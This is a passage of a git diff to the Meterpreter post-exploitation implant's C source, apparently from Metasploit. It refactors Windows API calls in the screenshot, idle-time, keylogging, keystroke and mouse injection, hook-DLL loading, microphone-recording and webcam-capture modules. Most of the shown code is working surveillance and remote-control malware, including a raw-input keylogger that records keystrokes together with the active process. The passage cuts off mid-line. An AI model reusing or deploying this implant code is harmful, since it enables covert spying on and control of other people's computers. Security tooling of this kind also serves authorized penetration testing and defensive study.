our thread to terminate if it is still running. met_api->thread.sigterm(pPipeThread); @@ -503,7 +509,7 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) met_api->thread.join(pPipeThread); // get the exit code for our pthread - if (!GetExitCodeThread(pPipeThread->handle, &dwResult)) + if (!met_api->win_api.kernel32.GetExitCodeThread(pPipeThread->handle, &dwResult)) { BREAK_WITH_ERROR("[UI] desktop_screenshot. GetExitCodeThread failed", ERROR_INVALID_HANDLE); } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c index 990482dac..2d016cff8 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c @@ -18,42 +18,22 @@ typedef struct tagLASTINPUTINFO { DWORD request_ui_get_idle_time(Remote *remote, Packet *request) { LASTINPUTINFO info; - HMODULE user32 = NULL; Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - BOOL (WINAPI *getLastInputInfo)(PLASTINPUTINFO) = NULL; do - { - // Load user32 - if (!(user32 = LoadLibrary("user32"))) - { - result = GetLastError(); - break; - } - - // Resolve the address of GetLastInputInfo (Windows 2000+) - if (!(getLastInputInfo = (BOOL (WINAPI *)(PLASTINPUTINFO))GetProcAddress( - user32, "GetLastInputInfo"))) - { - result = GetLastError(); - break; - } - - info.cbSize = sizeof(info); - - if (getLastInputInfo(&info)) + { + info.cbSize = sizeof(info); + + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + if (met_api->win_api.user32.GetLastInputInfo(&info)) met_api->packet.add_tlv_uint(response, TLV_TYPE_IDLE_TIME, - (GetTickCount() - info.dwTime) / 1000); + (met_api->win_api.kernel32.GetTickCount() - info.dwTime) / 1000); else - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } while (0); - // Unload the library - if (user32) - FreeLibrary(user32); - // Transmit the response packet met_api->packet.transmit_response(result, remote, response); diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c index 26e9ee3d2..f89433f95 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c @@ -2,7 +2,6 @@ #include "common_metapi.h" #include "keyboard.h" #include -#include extern HMODULE hookLibrary; extern HINSTANCE hAppInstance; @@ -10,7 +9,6 @@ extern HINSTANCE hAppInstance; LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam); INT ui_log_key(UINT vKey, USHORT mCode, USHORT Flags); INT ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags); -INT ui_resolve_raw_api(); /* * Enables or disables keyboard input @@ -31,14 +29,14 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) // If the hook library is loaded successfully... if (hookLibrary) { - DWORD(*enableKeyboardInput)(BOOL enable) = (DWORD(*)(BOOL))GetProcAddress( + DWORD(*enableKeyboardInput)(BOOL enable) = (DWORD(*)(BOOL))met_api->win_api.kernel32.GetProcAddress( hookLibrary, "enable_keyboard_input"); if (enableKeyboardInput) result = enableKeyboardInput(enable); } else - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); // Transmit the response met_api->packet.transmit_response(result, remote, response); @@ -48,13 +46,6 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) typedef enum { false = 0, true = 1 } bool; -// required function pointers - -f_GetRawInputData fnGetRawInputData; -f_RegisterRawInputDevices fnRegisterRawInputDevices; -f_GetProcessImageFileNameW fnGetProcessImageFileNameW; -f_QueryFullProcessImageNameW fnQueryFullProcessImageNameW; - // this could be modified const char g_szClassName[] = "klwClass"; @@ -103,7 +94,7 @@ typedef struct { BOOL CALLBACK ecw_callback(HWND hWnd, LPARAM lp) { WNDINFO* info = (WNDINFO*)lp; DWORD pid = 0; - GetWindowThreadProcessId(hWnd, &pid); + met_api->win_api.user32.GetWindowThreadProcessId(hWnd, &pid); if (pid != info->ppid) info->cpid = pid; return TRUE; } @@ -116,17 +107,6 @@ int WINAPI ui_keyscan_proc() { WNDCLASSEX klwc; MSG msg; - int ret = 0; - - if (fnGetRawInputData == NULL || fnRegisterRawInputDevices == NULL) - { - ret = ui_resolve_raw_api(); - if (!ret) // api resolution failed - { - return 0; - } - } - // register window class ZeroMemory(&klwc, sizeof(WNDCLASSEX)); klwc.cbSize = sizeof(WNDCLASSEX); @@ -134,13 +114,13 @@ int WINAPI ui_keyscan_proc() klwc.hInstance = hAppInstance; klwc.lpszClassName = g_szClassName; - if (!RegisterClassEx(&klwc)) + if (!met_api->win_api.user32.RegisterClassExA(&klwc)) { return 0; } // create message-only window - ghwnd = CreateWindowEx( + ghwnd = met_api->win_api.user32.CreateWindowExA( 0, g_szClassName, NULL, @@ -155,10 +135,10 @@ int WINAPI ui_keyscan_proc() } // message loop - while (GetMessage(&msg, NULL, 0, 0) > 0) + while (met_api->win_api.user32.GetMessageA(&msg, NULL, 0, 0) > 0) { - TranslateMessage(&msg); - DispatchMessage(&msg); + met_api->win_api.user32.TranslateMessage(&msg); + met_api->win_api.user32.DispatchMessageA(&msg); } return (INT)msg.wParam; @@ -179,20 +159,21 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l rid.dwFlags = RIDEV_INPUTSINK; rid.hwndTarget = hwnd; - if (!fnRegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE))) + if (!met_api->win_api.user32.RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE))) { return -1; } case WM_INPUT: // request size of the raw input buffer to dwSize - fnGetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, + met_api->win_api.user32.GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)); // allocate buffer for input data - buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize); + buffer = (RAWINPUT*)met_api->win_api.kernel32.HeapAlloc( + met_api->win_api.kernel32.GetProcessHeap(), 0, dwSize); - if (fnGetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, + if (met_api->win_api.user32.GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize, sizeof(RAWINPUTHEADER))) { // if this is keyboard message and WM_KEYDOWN, log the key @@ -200,12 +181,13 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l && buffer->data.keyboard.Message == WM_KEYDOWN) { if (gfn_log_key(buffer->data.keyboard.VKey, buffer->data.keyboard.MakeCode, buffer->data.keyboard.Flags) == -1) - DestroyWindow(hwnd); + met_api->win_api.user32.DestroyWindow(hwnd); } } // free the buffer - HeapFree(GetProcessHeap(), 0, buffer); + met_api->win_api.kernel32.HeapFree( + met_api->win_api.kernel32.GetProcessHeap(), 0, buffer); break; case WM_CLOSE: @@ -217,14 +199,14 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l g_keyscan_buf = NULL; // destroy window and unregister window class - DestroyWindow(hwnd); - UnregisterClass(g_szClassName, hAppInstance); + met_api->win_api.user32.DestroyWindow(hwnd); + met_api->win_api.user32.UnregisterClassA(g_szClassName, hAppInstance); break; case WM_QUIT: return 0; default: - return DefWindowProc(hwnd, msg, wParam, lParam); + return met_api->win_api.user32.DefWindowProcA(hwnd, msg, wParam, lParam); } return 0; } @@ -248,7 +230,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) } else { // Make sure we have access to the input desktop - if (GetAsyncKeyState(0x0a) == 0) { + if (met_api->win_api.user32.GetAsyncKeyState(0x0a) == 0) { // initialize g_keyscan_buf if (g_keyscan_buf) { free(g_keyscan_buf); @@ -257,7 +239,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR)); - tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL); + tKeyScan = met_api->win_api.kernel32.CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL); KEYSCAN_RUNNING = true; } else { @@ -283,8 +265,8 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) if (tKeyScan) { KEYSCAN_RUNNING = false; - SendMessageA(ghwnd, WM_CLOSE, 0, 0); - CloseHandle(tKeyScan); + met_api->win_api.user32.SendMessageA(ghwnd, WM_CLOSE, 0, 0); + met_api->win_api.kernel32.CloseHandle(tKeyScan); tKeyScan = NULL; } else { @@ -354,7 +336,7 @@ DWORD request_ui_send_keys(Remote *remote, Packet *request) { input[0].ki.wScan = *loopkeys; input[1].ki.wScan = *loopkeys; - SendInput(2, input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(2, input, sizeof(INPUT)); loopkeys++; } free(keys); @@ -374,11 +356,11 @@ void ui_send_key(WORD keycode, DWORD flags) INPUT input[1] = {0}; input[0].type = INPUT_KEYBOARD; input[0].ki.time = 0; - input[0].ki.wScan = MapVirtualKey(keycode, MAPVK_VK_TO_VSC); + input[0].ki.wScan = met_api->win_api.user32.MapVirtualKeyA(keycode, MAPVK_VK_TO_VSC); input[0].ki.dwExtraInfo = 0; input[0].ki.wVk = keycode; input[0].ki.dwFlags = flags; - SendInput(1, input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, input, sizeof(INPUT)); } /* @@ -439,8 +421,8 @@ int ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags) BYTE lpKeyboard[256]; WCHAR kb[16] = { 0 }; - GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK); - GetKeyboardState(lpKeyboard); + met_api->win_api.user32.GetKeyState(VK_CAPITAL); met_api->win_api.user32.GetKeyState(VK_SCROLL); met_api->win_api.user32.GetKeyState(VK_NUMLOCK); + met_api->win_api.user32.GetKeyboardState(lpKeyboard); // treat g_keyscan_buf as a circular array // boundary could be adjusted @@ -450,36 +432,40 @@ int ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags) } // get focused window pid - foreground_wnd = GetForegroundWindow(); - GetWindowThreadProcessId(foreground_wnd, &info.ppid); + foreground_wnd = met_api->win_api.user32.GetForegroundWindow(); + met_api->win_api.user32.GetWindowThreadProcessId(foreground_wnd, &info.ppid); info.cpid = info.ppid; // resolve full image name - EnumChildWindows(foreground_wnd, ecw_callback, (LPARAM)&info); - active_proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, info.cpid); + met_api->win_api.user32.EnumChildWindows(foreground_wnd, ecw_callback, (LPARAM)&info); + active_proc = met_api->win_api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, info.cpid); if (active_proc) { - // if null, we're on pre-vista or something is terribly wrong - (fnQueryFullProcessImageNameW) ? fnQueryFullProcessImageNameW(active_proc, 0, (LPTSTR)g_active_image, &mpsz) : fnGetProcessImageFileNameW(active_proc, (LPTSTR)g_active_image, mpsz); + // QueryFullProcessImageNameW is unavailable before Vista. + if (!met_api->win_api.kernel32.QueryFullProcessImageNameW(active_proc, 0, g_active_image, &mpsz)) + { + mpsz = MAX_PATH; + met_api->win_api.psapi.GetProcessImageFileNameW(active_proc, g_active_image, mpsz); + } // new window in focus, notate it if (wcscmp(g_active_image, g_prev_active_image) != 0) { - GetSystemTime(&st); - GetDateFormatW(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &st, NULL, date_s, sizeof(date_s)); - GetTimeFormatW(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT, &st, NULL, time_s, sizeof(time_s)); + met_api->win_api.kernel32.GetSystemTime(&st); + met_api->win_api.kernel32.GetDateFormatW(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &st, NULL, date_s, sizeof(date_s)); + met_api->win_api.kernel32.GetTimeFormatW(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT, &st, NULL, time_s, sizeof(time_s)); g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"\n**\n-[ %s | PID: %d\n-[ @ %s %s UTC\n**\n", g_active_image, info.cpid, date_s, time_s); RtlZeroMemory(g_prev_active_image, MAX_PATH); _snwprintf(g_prev_active_image, MAX_PATH, L"%s", g_active_image); } - CloseHandle(active_proc); + met_api->win_api.kernel32.CloseHandle(active_proc); } // needed for some wonky cases const bool isE0 = ((Flags & RI_KEY_E0) != 0); const bool isE1 = ((Flags & RI_KEY_E1) != 0); UINT key = (mCode << 16) | (isE0 << 24); - BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL)); + BOOL ctrl_is_down = (1 << 15) & (met_api->win_api.user32.GetAsyncKeyState(VK_CONTROL)); switch (vKey) { @@ -502,21 +488,21 @@ int ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L""); break; case VK_NUMLOCK: // pause/break and numlock both send the same message - key = (MapVirtualKey(vKey, MAPVK_VK_TO_VSC) | 0x100); - if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + key = (met_api->win_api.user32.MapVirtualKeyA(vKey, MAPVK_VK_TO_VSC) | 0x100); + if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf); break; default: if (ctrl_is_down) { - if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^%ls>", gknt_buf); } - else if (ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1) + else if (met_api->win_api.user32.ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1) { g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"%ls", kb); } - else if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + else if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) { g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf); } @@ -539,8 +525,8 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags) BYTE lpKeyboard[256]; WCHAR kb[16] = { 0 }; - GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK); - GetKeyboardState(lpKeyboard); + met_api->win_api.user32.GetKeyState(VK_CAPITAL); met_api->win_api.user32.GetKeyState(VK_SCROLL); met_api->win_api.user32.GetKeyState(VK_NUMLOCK); + met_api->win_api.user32.GetKeyboardState(lpKeyboard); // treat g_keyscan_buf as a circular array // boundary could be adjusted @@ -553,7 +539,7 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags) const bool isE0 = ((Flags & RI_KEY_E0) != 0); const bool isE1 = ((Flags & RI_KEY_E1) != 0); UINT key = (mCode << 16) | (isE0 << 24); - BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL)); + BOOL ctrl_is_down = (1 << 15) & (met_api->win_api.user32.GetAsyncKeyState(VK_CONTROL)); switch (vKey) { @@ -576,78 +562,24 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L""); break; case VK_NUMLOCK: // pause/break and numlock both send the same message - key = (MapVirtualKey(vKey, MAPVK_VK_TO_VSC) | 0x100); - if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + key = (met_api->win_api.user32.MapVirtualKeyA(vKey, MAPVK_VK_TO_VSC) | 0x100); + if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf); break; default: if (ctrl_is_down) { - if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^%ls>", gknt_buf); } - else if (ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1) + else if (met_api->win_api.user32.ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1) { g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"%ls", kb); } - else if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) + else if (met_api->win_api.user32.GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz)) { g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf); } } return 0; } - -/* - * resolve required functions - */ - -int ui_resolve_raw_api() -{ - HANDLE user32 = LoadLibrary("user32.dll"); - HANDLE psapi = LoadLibrary("psapi.dll"); - HANDLE kernel32 = LoadLibrary("kernel32.dll"); - - if (!user32 || !kernel32 || !psapi) - { - return 0; - } - - fnQueryFullProcessImageNameW = (f_QueryFullProcessImageNameW)GetProcAddress(kernel32, "QueryFullProcessImageNameW"); - if (!fnQueryFullProcessImageNameW) - { - // Pre Vista -> GetProcessImageFileName - HANDLE psapi = LoadLibrary("Psapi.dll"); - if (!psapi) - { - return 0; - } - fnGetProcessImageFileNameW = (f_GetProcessImageFileNameW)GetProcAddress(psapi, "GetProcessImageFileNameW"); - if (!fnGetProcessImageFileNameW) - { - return 0; - } - } - - fnGetProcessImageFileNameW = (f_GetProcessImageFileNameW)GetProcAddress(psapi, "GetProcessImageFileNameW"); - if (!fnGetProcessImageFileNameW) - { - return 0; - } - - fnGetRawInputData = (f_GetRawInputData)GetProcAddress(user32, "GetRawInputData"); - if (fnGetRawInputData == NULL) - { - FreeLibrary(user32); - return 0; - } - - fnRegisterRawInputDevices = (f_RegisterRawInputDevices)GetProcAddress(user32, "RegisterRawInputDevices"); - if (fnRegisterRawInputDevices == NULL) - { - FreeLibrary(user32); - return 0; - } - - return 1; -} diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h index fda70eb80..1171cc48e 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h +++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h @@ -12,21 +12,3 @@ #define RIDEV_INPUTSINK 0x00000100 #define RI_KEY_E0 2 #define RI_KEY_E1 4 - -/* -* Raw Input Messages. -*/ -typedef UINT(WINAPI *f_GetRawInputData)( - HRAWINPUT hRawInput, - UINT uiCommand, - LPVOID pData, - PUINT pcbSize, - UINT cbSizeHeader); - -typedef BOOL(WINAPI *f_RegisterRawInputDevices)( - PCRAWINPUTDEVICE pRawInputDevices, - UINT uiNumDevices, - UINT cbSize); - -typedef DWORD(WINAPI *f_QueryFullProcessImageNameW) (HANDLE, DWORD, LPTSTR, PDWORD); -typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD); diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c index 66f74ebfb..932466ddb 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c @@ -21,14 +21,14 @@ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) // If the hook library is loaded successfully... if (hookLibrary) { - DWORD (*enableMouseInput)(BOOL enable) = (DWORD (*)(BOOL))GetProcAddress( + DWORD (*enableMouseInput)(BOOL enable) = (DWORD (*)(BOOL))met_api->win_api.kernel32.GetProcAddress( hookLibrary, "enable_mouse_input"); if (enableMouseInput) result = enableMouseInput(enable); } else - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); // Transmit the response met_api->packet.transmit_response(result, remote, response); @@ -87,38 +87,38 @@ DWORD request_ui_send_mouse(Remote *remote, Packet *request) } if (x != -1 || y != -1) { - double width = GetSystemMetrics(SM_CXSCREEN)-1; - double height = GetSystemMetrics(SM_CYSCREEN)-1; + double width = met_api->win_api.user32.GetSystemMetrics(SM_CXSCREEN)-1; + double height = met_api->win_api.user32.GetSystemMetrics(SM_CYSCREEN)-1; double dx = x*(65535.0f / width); double dy = y*(65535.0f / height); input.mi.dx = (LONG)dx; input.mi.dy = (LONG)dy; input.mi.dwFlags |= MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; } - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); if (action == 1) { input.mi.dwFlags &= ~(MOUSEEVENTF_LEFTDOWN); input.mi.dwFlags |= MOUSEEVENTF_LEFTUP; - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); } else if (action == 4) { input.mi.dwFlags &= ~(MOUSEEVENTF_RIGHTDOWN); input.mi.dwFlags |= MOUSEEVENTF_RIGHTUP; - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); } else if (action == 7) { input.mi.dwFlags &= ~(MOUSEEVENTF_LEFTDOWN); input.mi.dwFlags |= MOUSEEVENTF_LEFTUP; - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); input.mi.dwFlags &= ~(MOUSEEVENTF_LEFTUP); input.mi.dwFlags |= MOUSEEVENTF_LEFTDOWN; - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); input.mi.dwFlags &= ~(MOUSEEVENTF_LEFTDOWN); input.mi.dwFlags |= MOUSEEVENTF_LEFTUP; - SendInput(1, &input, sizeof(INPUT)); + met_api->win_api.user32.SendInput(1, &input, sizeof(INPUT)); } // Transmit the response diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c index 0abba2a16..93fae5cea 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" HMODULE hookLibrary = NULL; @@ -19,26 +20,26 @@ DWORD extract_hook_library() do { - ExpandEnvironmentStrings("%TEMP%\\hook.dll", tempFile, + met_api->win_api.kernel32.ExpandEnvironmentStringsA("%TEMP%\\hook.dll", tempFile, sizeof(tempFile) - 1); - fileHandle = FindResource( hAppInstance, + fileHandle = met_api->win_api.kernel32.FindResourceA(hAppInstance, MAKEINTRESOURCE(IDR_HOOK_DLL), "IMG"); if (!fileHandle) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - global = LoadResource( hAppInstance, fileHandle ); - raw = LockResource(global); - rawSize = SizeofResource( hAppInstance, fileHandle ); + global = met_api->win_api.kernel32.LoadResource(hAppInstance, fileHandle); + raw = met_api->win_api.kernel32.LockResource(global); + rawSize = met_api->win_api.kernel32.SizeofResource(hAppInstance, fileHandle); - DeleteFile(tempFile); + met_api->win_api.kernel32.DeleteFileA(tempFile); // Write the file to disk - if (GetFileAttributes(tempFile) == INVALID_FILE_ATTRIBUTES) + if (met_api->win_api.kernel32.GetFileAttributesA(tempFile) == INVALID_FILE_ATTRIBUTES) { if ((fd = fopen(tempFile, "wb"))) { @@ -47,13 +48,13 @@ DWORD extract_hook_library() fclose(fd); } else - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } // Try to load the library - if (!(hookLibrary = LoadLibrary(tempFile))) + if (!(hookLibrary = met_api->win_api.kernel32.LoadLibraryA(tempFile))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c index fb8706f8a..88ff48827 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c @@ -20,7 +20,7 @@ void CALLBACK waveInProc(HWAVEIN hwi, UINT uMsg, DWORD_PTR dwInstance, { if (uMsg == WIM_DATA) { memcpy(dataBuffer, recordBuffer, buffersize); - SetEvent(recordMicEvent); + met_api->win_api.kernel32.SetEvent(recordMicEvent); } } @@ -31,7 +31,7 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) { DWORD dwResult = ERROR_SUCCESS; Packet *response = NULL; - HANDLE procHeap = GetProcessHeap(); + HANDLE procHeap = met_api->win_api.kernel32.GetProcessHeap(); UINT seconds; DWORD chunkSize; DWORD subChunk1Size; @@ -57,18 +57,18 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) riffsize = buffersize + 44; if (recordBuffer != NULL) { - HeapFree(procHeap, 0, recordBuffer); + met_api->win_api.kernel32.HeapFree(procHeap, 0, recordBuffer); } - recordBuffer = HeapAlloc(procHeap, HEAP_ZERO_MEMORY, buffersize); + recordBuffer = met_api->win_api.kernel32.HeapAlloc(procHeap, HEAP_ZERO_MEMORY, buffersize); if (sendBuffer != NULL) { - HeapFree(procHeap, 0, sendBuffer); + met_api->win_api.kernel32.HeapFree(procHeap, 0, sendBuffer); } - sendBuffer = HeapAlloc(procHeap, HEAP_ZERO_MEMORY, riffsize); + sendBuffer = met_api->win_api.kernel32.HeapAlloc(procHeap, HEAP_ZERO_MEMORY, riffsize); if (recordBuffer == NULL || sendBuffer == NULL) { dprintf("request_ui_record_mic: Allocation failed"); - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); goto out; } dataBuffer = sendBuffer + 44; @@ -113,7 +113,7 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) wf.nBlockAlign = 1; wf.wBitsPerSample = 8; wf.cbSize = 0; - dwResult = waveInOpen(&hWavIn, WAVE_MAPPER, &wf, (DWORD_PTR)waveInProc, + dwResult = met_api->win_api.winmm.waveInOpen(&hWavIn, WAVE_MAPPER, &wf, (DWORD_PTR)waveInProc, (DWORD_PTR)NULL, CALLBACK_FUNCTION); if (dwResult != MMSYSERR_NOERROR) { dprintf("request_ui_record_mic: WaveInOpen failed"); @@ -123,22 +123,22 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) wh.lpData = (LPSTR) recordBuffer; wh.dwBufferLength = buffersize; wh.dwFlags = 0; - waveInPrepareHeader(hWavIn, &wh, sizeof(wh)); - waveInAddBuffer(hWavIn, &wh, sizeof(wh)); + met_api->win_api.winmm.waveInPrepareHeader(hWavIn, &wh, sizeof(wh)); + met_api->win_api.winmm.waveInAddBuffer(hWavIn, &wh, sizeof(wh)); - recordMicEvent = CreateEvent(NULL, // default security attributes + recordMicEvent = met_api->win_api.kernel32.CreateEventA(NULL, // default security attributes FALSE, // auto-reset event FALSE, // initial state is nonsignaled NULL); // no object name - dwResult = (DWORD) waveInStart(hWavIn); + dwResult = (DWORD) met_api->win_api.winmm.waveInStart(hWavIn); if (dwResult != MMSYSERR_NOERROR) { dprintf("request_ui_record_mic: WaveInStart failed"); goto out; } - WaitForSingleObject(recordMicEvent, seconds * 1000 + 1000); - dwResult = (DWORD) waveInStop(hWavIn); //seems to wait for buffer to complete + met_api->win_api.kernel32.WaitForSingleObject(recordMicEvent, seconds * 1000 + 1000); + dwResult = (DWORD) met_api->win_api.winmm.waveInStop(hWavIn); //seems to wait for buffer to complete if (dwResult != MMSYSERR_NOERROR) { dprintf("request_ui_record_mic: WaveInStop failed"); goto out; diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp index 855ffc64b..203d31256 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp @@ -94,7 +94,7 @@ class MySampleGrabberCB : public ISampleGrabberCB imgdata = (PBYTE)malloc(imgsize); } memcpy(imgdata, pBuffer, imgsize); - SetEvent(writeEvent); //Notify of new frame + met_api->win_api.kernel32.SetEvent(writeEvent); //Notify of new frame return S_OK; } virtual HRESULT STDMETHODCALLTYPE QueryInterface( @@ -167,8 +167,8 @@ DWORD webcam_start(WebcamThreadState* state) BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND); } - CoInitialize(NULL); - hr = CoCreateInstance(CLSID_SystemDeviceEnum, + met_api->win_api.ole32.CoInitialize(NULL); + hr = met_api->win_api.ole32.CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC, IID_ICreateDevEnum, @@ -215,7 +215,7 @@ DWORD webcam_start(WebcamThreadState* state) dprintf("[WEBCAM] Creating state->pGraphBuilder"); // Build all the necessary interfaces to start the capture - hr = CoCreateInstance(CLSID_FilterGraph, + hr = met_api->win_api.ole32.CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC, IID_IGraphBuilder, @@ -232,7 +232,7 @@ DWORD webcam_start(WebcamThreadState* state) BREAK_WITH_ERROR("[WEBCAM] Query interface failed", hr); } - hr = 